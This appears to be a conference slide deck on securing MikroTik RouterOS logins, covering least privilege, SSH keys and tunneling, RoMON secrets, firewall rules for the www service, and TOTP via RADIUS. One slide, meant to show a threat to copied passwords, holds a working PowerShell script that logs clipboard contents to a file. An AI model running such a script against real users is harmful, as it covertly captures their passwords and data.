





Securing MikroTik Devices

Improving the security of logon

Michal Dobšovič



Prague - Czech Republic, March 2025





Michal Dobšovič

dobsovic@itlearning.sk



MTCNA | MTCRE | MTCSWE | MTCSE | MTCTCE | MTCIPv6E

Agenda







Passwords



RouterOS management services





replace admin



principle of least privilege



password security



allowed addresses

Group <read></read>			
Name: read			ОК
Policies: 🔽 local	✓ telnet	🗹 ssh	Cancel
🗌 ftp	reboot	✓ read	Apply
write	policy	✓ test	
vinbox	✓ password	✓ web	Comment
🖌 sniff	sensitive	🗸 api	Сору
romon	🗸 rest-api		Remove
Skin: default		Ŧ	
System			

Users Groups SSH Keys SSH Private Keys Active Users Image: Setting AAA Find Name Group Allowed Address Last Logged In
Image: Setting settin
Name / Group Allowed Address Last Logged In
User Settings Mar/02/2025 21:03:05
Minimum Password Length: 0 OK Minimum Categories: 0 Cancel Apply Apply
1 item

User <user1></user1>			
Name:	user1		ОК
Group:	read	Ŧ	Cancel
Allowed Address:	172.31.10.0/24	+	Apply
Last Logged In:			·
Inactivity Timeout:	00:10:00		Disable
Inactivity Policy:	none	₹	Comment
			Сору
			Remove
			Password
			Expire Password
enabled		expired	

Secure Shell (SSH)



no passwords, use SSH keys









use SSH tunneling

Creating the SSH key

• To create the SSH key on Windows or Linux:

ssh-keygen -t rsa -b 3072

ssh-keygen -t ed25519

- Copy the **.pub** file to the device (not the private one!)
- Import the SSH key

User List									[
Users Gro	oups	SSH Keys	SSH Priva	ate Keys	Active Users					
- 7	Impo	rt SSH Key							Find	
User		Key Owne	er							-
				->	Import SSH Ke User Key File Passphrase Key Owner	test test.rsa.pub	T	Import SSH Key Cancel		

Connect via SSH with key:

ssh -i keyfile test@192.168.88.1

Considerations when using SSH keys

SSH Settings		
Forwarding Enabled	t no ∓	ОК
	Always Allow Password Login	Cancel
	 Strong Crypto 	Apply
	Allow None Crypto	Regenerate Host Key
Host Key Size	: 2048	Export Host Key
Host Key Type	: RSA	Import Host Key

adding SSH key for the user will disable password login **via SSH** by default

encrypt SSH private key with password



save private key on encrypted storage

Verify SSH Host key

🔄 C:\WINDOWS\system32\cmd. 🛛 + 🗸

- 🗆 X

C:\>ssh admin@172.20.41.101 The authenticity of host '172.20.41.101 (172.20.41.101)' can't be established. RSA key fingerprint is SHA256:90SBqrOaeZ3n+MbEuIxjqCUvzkHd4fAc25MNaG+BmFI. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])?

/ip/ssh/export-host-key key-file-prefix=mykey

ssh-keygen -lf mykey.pub

Be careful when the host key has changed!

C:\WINDOWS\system32\cmd. × + ~		×
C:\>ssh admin@172.20.41.101 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@	chis n	m
C·/>		

SSH Strong crypto

- disable null encryption
- 192-bit and 256-bit encryption instead of 128-bit
- sha256 instead of sha1, disable md5
- 2048-bit prime for Diffie-Hellman exchange instead of 1024-bit



 $IP \rightarrow SSH$

SSH tunneling

SSH Settings			
Forwarding Enabled:	local	₹	ОК
	Always Allow Password Login		Cancel
	 Strong Crypto 		Apply
	Allow None Crypto		Regenerate Host Key
Host Key Size:	2048	₹	Export Host Koy
Host Key Type:	RSA	∓	Lapoirriosrikey
			Import Host Key

 $IP \rightarrow SSH$ enable local forwarding

SSH tunneling

IP Service <winbo< th=""><th>x></th><th></th><th></th></winbo<>	x>		
Name:	winbox		ОК
Port	8291		Cancel
Available From:	127.0.0/8		Apply
VRF:	main 두		Disable
enabled			

IP \rightarrow Service \rightarrow winbox allow WinBox only from localhost

SSH tunneling

ssh -i mykey user@192.168.88.1 -L 1234:127.0.0.1:8291

SinBox (64bit) v3.41 (Addresses)	_		×
File Tools			
Connect To: 127.0.0.1:1234	Kee	p Passwo	ord
Login: user	Оре	en In New V	Window
Password: **********	Auto	Reconne	ect
Add/Set Connect To RoMON Connect	et		
الرجاب المحصين والمتحاصلين وروان والمحافي والمحاص والمحاص والمحاص والمحاص والمحد والمحاص والمحد والمح	and the second	and the state	

Create SSH tunnel, use any local port Use the port to connect to WinBox



You have established MFA - SSH key + WinBox password

RoMON - Router Management Overlay Network



RoMON works, even if:



MAC WinBox Server disabled



MAC Telnet Server disabled

Attacking RoMON



The administrator

- Can't see any device (Discovery disabled)
- Can't connect to any device via L2 (MAC WinBox, MAC Telnet disabled)
- ✓ Can connect via L3 to CRS
- \checkmark Can connect via RoMON to the second switch





The attacker

- Can't see any device (Discovery disabled)
- Can't connect to any device via L2 (MAC WinBox, MAC Telnet disabled)
- Can't connect to CRS via L3, because of the firewall
- ✓ But can install CHR on his own computer and use RoMON

Securing RoMON

RoMON Settings	
✓ Enabled	ОК
ID:	Cancel
Secrets:	Apply
Current ID: 00:15:5D:5C:47:01	Ports
	Discovery
	Ping

Many deployments are insecure

Securing RoMON Tools → RoMON → Ports

RoMON Ports		
	T	Find
Interface 🗠	Forbid	Cost 🔻
all	yes	100
ether8	no	100
2 items		

forbid interface all add desired port Since 7.17 Interface lists can be used

RoMON Port <ether8></ether8>	
Interface: ether8	ОК
Forbid	Cancel
Cost: 100	Apply
Secrets:	Disable
	Comment
	Сору
	Remove
enabled	

set port Secrets

WebFig

- new design since 7.17
- you probably want to disable public access to www service (tcp/80), but...
 - it is required for providing the CRL
 - it is required for providing the Let's Encrypt challenges verification
 - it is used for REST API via http (you want to disable this, leave only https)
- you can leave http server running and restrict just WebFig by:
 - setting Layer 7 Firewall rule
 - using WebProxy

Protecting www service - Layer 7 Firewall

Creating Layer 7 Firewall Rule

/ip/firewall/layer7-protocol
add name=lets-encrypt regexp="\\/\\.well-known\\/acme-challenge"

Adding Firewall rules

/ip/firewall/filter

add action=accept chain=input comment="allow lets-encrypt" connectionstate=established protocol=tcp dst-port=80 layer7-protocol=lets-encrypt

add action=drop chain=input comment="block established tcp 80" connectionstate=established protocol=tcp dst-port=80

add action=accept chain=input comment="allow new tcp 80" connection-state=new
protocol=tcp dst-port=80

Protecting www service - The WebProxy method

```
/ip/service
```

```
set www port=1234 address=127.0.0.0/8
```

/ip/proxy

```
set anonymous=yes enabled=yes parent-proxy=127.0.0.1 parent-proxy-port=1234 port=80
/ip/proxy/access
```

```
add action=deny path=!/.well-known/acme-challenge*
```

```
(or)
```

```
add action=redirect path=!/.well-known/acme-challenge* action-data=:
```

```
/ip/firewall/filter
```

add action=accept chain=input protocol=tcp dst-port=1234 src-address=127.0.0/8

* if you still need WebFig for yourself, you can use SSH tunnel

What is the most insecure method of authentication?



Protecting the passwords



antivirus?



hardware keylogger



malicious keyboard

Protecting the passwords



Script for stealing the clipboard content © ChatGPT ©

Set the path to the file where clipboard content will be saved
\$filePath = "C:\temp\clipboard.txt"

```
# Ensure the output directory exists
if (-not (Test-Path -Path (Split-Path $filePath))) {
    New-Item -ItemType Directory -Path (Split-Path $filePath) | Out-Null
3
# Function to get the current clipboard content
function Get-ClipboardContent {
    Add-Type -AssemblyName PresentationCore
    [Windows.Clipboard]::GetText()
}
# Initialize the previous clipboard content variable
$previousContent = ""
Write-Host "Monitoring clipboard. Press Ctrl+C to stop."
try {
    while ($true) {
        # Get the current clipboard content
        $currentContent = Get-ClipboardContent
        # Check if the content has changed
        if ($currentContent -ne $previousContent) {
            $previousContent = $currentContent
            # Append the new content to the file
            $currentContent | Add-Content -Path $filePath -Force
            write-Host "Clipboard content updated and appended to file."
        }
        # Wait for 1 second before checking again
        Start-Sleep -Seconds 1
    }
} catch {
    Write-Error "An error occurred: $_"
```

What can we do about it?



TOTP

Time-based One-Time Password

TOTP Requirements



RADIUS server

RouterOS 7.8+ no smips support



correct date / time It's time-based

TOTP application

Microsoft Authenticator Google Authenticator https://totp.app

Suspicious (scam?) applications, even in official stores...



Generating the TOTP Secret

:put [:rndstr from="ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" length=16]

RouterOS Script

\$b32Alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" \$random = New-Object System.Random

-Join (1..16 | % {\$b32Alpha[\$random.Next(0, \$b32Alpha.Length)]})

PowerShell Script

Generating the TOTP Secret

#!/bin/bash

b32_alpha="ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"
secret=""

```
for i in `seq 1 16`; do
    index=$((RANDOM % ${#b32_alpha}))
    secret=${secret}${b32_alpha:$index:1}
done
```

echo \$secret

bash Script

Demo: TOTP Setup - Scenario



RADIUS server device responsible for AAA



RADIUS client device accessed by the user

RADIUS server and RADIUS client will be the same device

Demo: TOTP Setup - RADIUS Server

- Install User manager package
- User Manager \rightarrow Routers \rightarrow Settings

User Mana	ger									
Routers	Users	User Groups	Sessions	Profiles	User Profiles	Limita	tions	Profile Limitations	Attributes	Payment
+ -	0	Setti	ngs Ger	erate Rep	oort					Find
Name		△ Address	(CoA Port	Access	Requ	Acce	ss Failures		•
		Setting: Au Requir	s uthentication Accounting Certif re Message Active Sess	Port 181 Port 181 icate: Auth: yes	Enabled 2 3 Use Profiles access requ	est	▼	OK Cancel Apply Database Advanced		
0 items										

Demo: TOTP Setup - RADIUS Server

• User Manager \rightarrow Routers \rightarrow +

New Router		
Name:	my-router	ОК
Shared Secret:	\$tr0ngP@\$\$w0rd	Cancel
Address:	127.0.0.1	Apply
CoA Port:	3799	Disable
Access Requests:	0	Сору
Access Failures:	0	Remove
Broken Requests:	0	Reset Counters
Unknown Rec		

Demo: TOTP Setup - RADIUS Server

- User Manager \rightarrow Users \rightarrow +
- Add User **do not** add the user to System \rightarrow Users (it bypasses the RADIUS)

New User			
General	Statu	s	ОК
N	ame:	user	Cancel
Passv	word:	StrongPassword123	Apply
OTP Se	ecret	M5RQ2642L3C57LLT	Disable
G	roup:	default T	Comment
Call	er ID:	Ŧ	Сору
Shared U	sers:	1	Remove
Attrib	utes:	Mikrotik-Group ₹ : full	Generate Voucher
	-	ر المراجع المراجع المراجع في المراجع ا	

Demo: TOTP Setup - RADIUS Client

RADIUS → +

New RAD	US Server				
General	Status				ОК
	Service:	ррр	✓ login		Cancel
		hotspot	wireless		Apply
		dhcp	ipsec		Disable
		dot1x			Comment
	Called ID:			•	Сору
	Domain:				Remove
	Address:	127.0.0.1			Reset Status
	Protocol:	udp		₹	
	Secret	\$tr0ngP@	\$\$w0rd		
and the second se			and the second second	di denses	

Demo: TOTP Setup - RADIUS Client

• System \rightarrow Users \rightarrow AAA

Login Authentication&Accounting	
✓ Use RADIUS	ОК
Accounting	Cancel
Interim Update:	Apply
Default Group: read 🔻	
Exclude Groups:	

Demo: TOTP Setup - Logon process

- Username: user
- Password: StrongPassword123845017
- Problem: WinBox terminal won't work, the password is for one-time use only.
- Solution: Use SSH.

Do you want to have a nice QR code?

- create QR code with the following string:
- otpauth://totp/LABEL?secret=XXX&issuer=ISSUER%20COMPANY
- for the lazy ones: https://stefansundin.github.io/2fa-qr/



ISSUER COMPANY (LABEL)

Thank you!



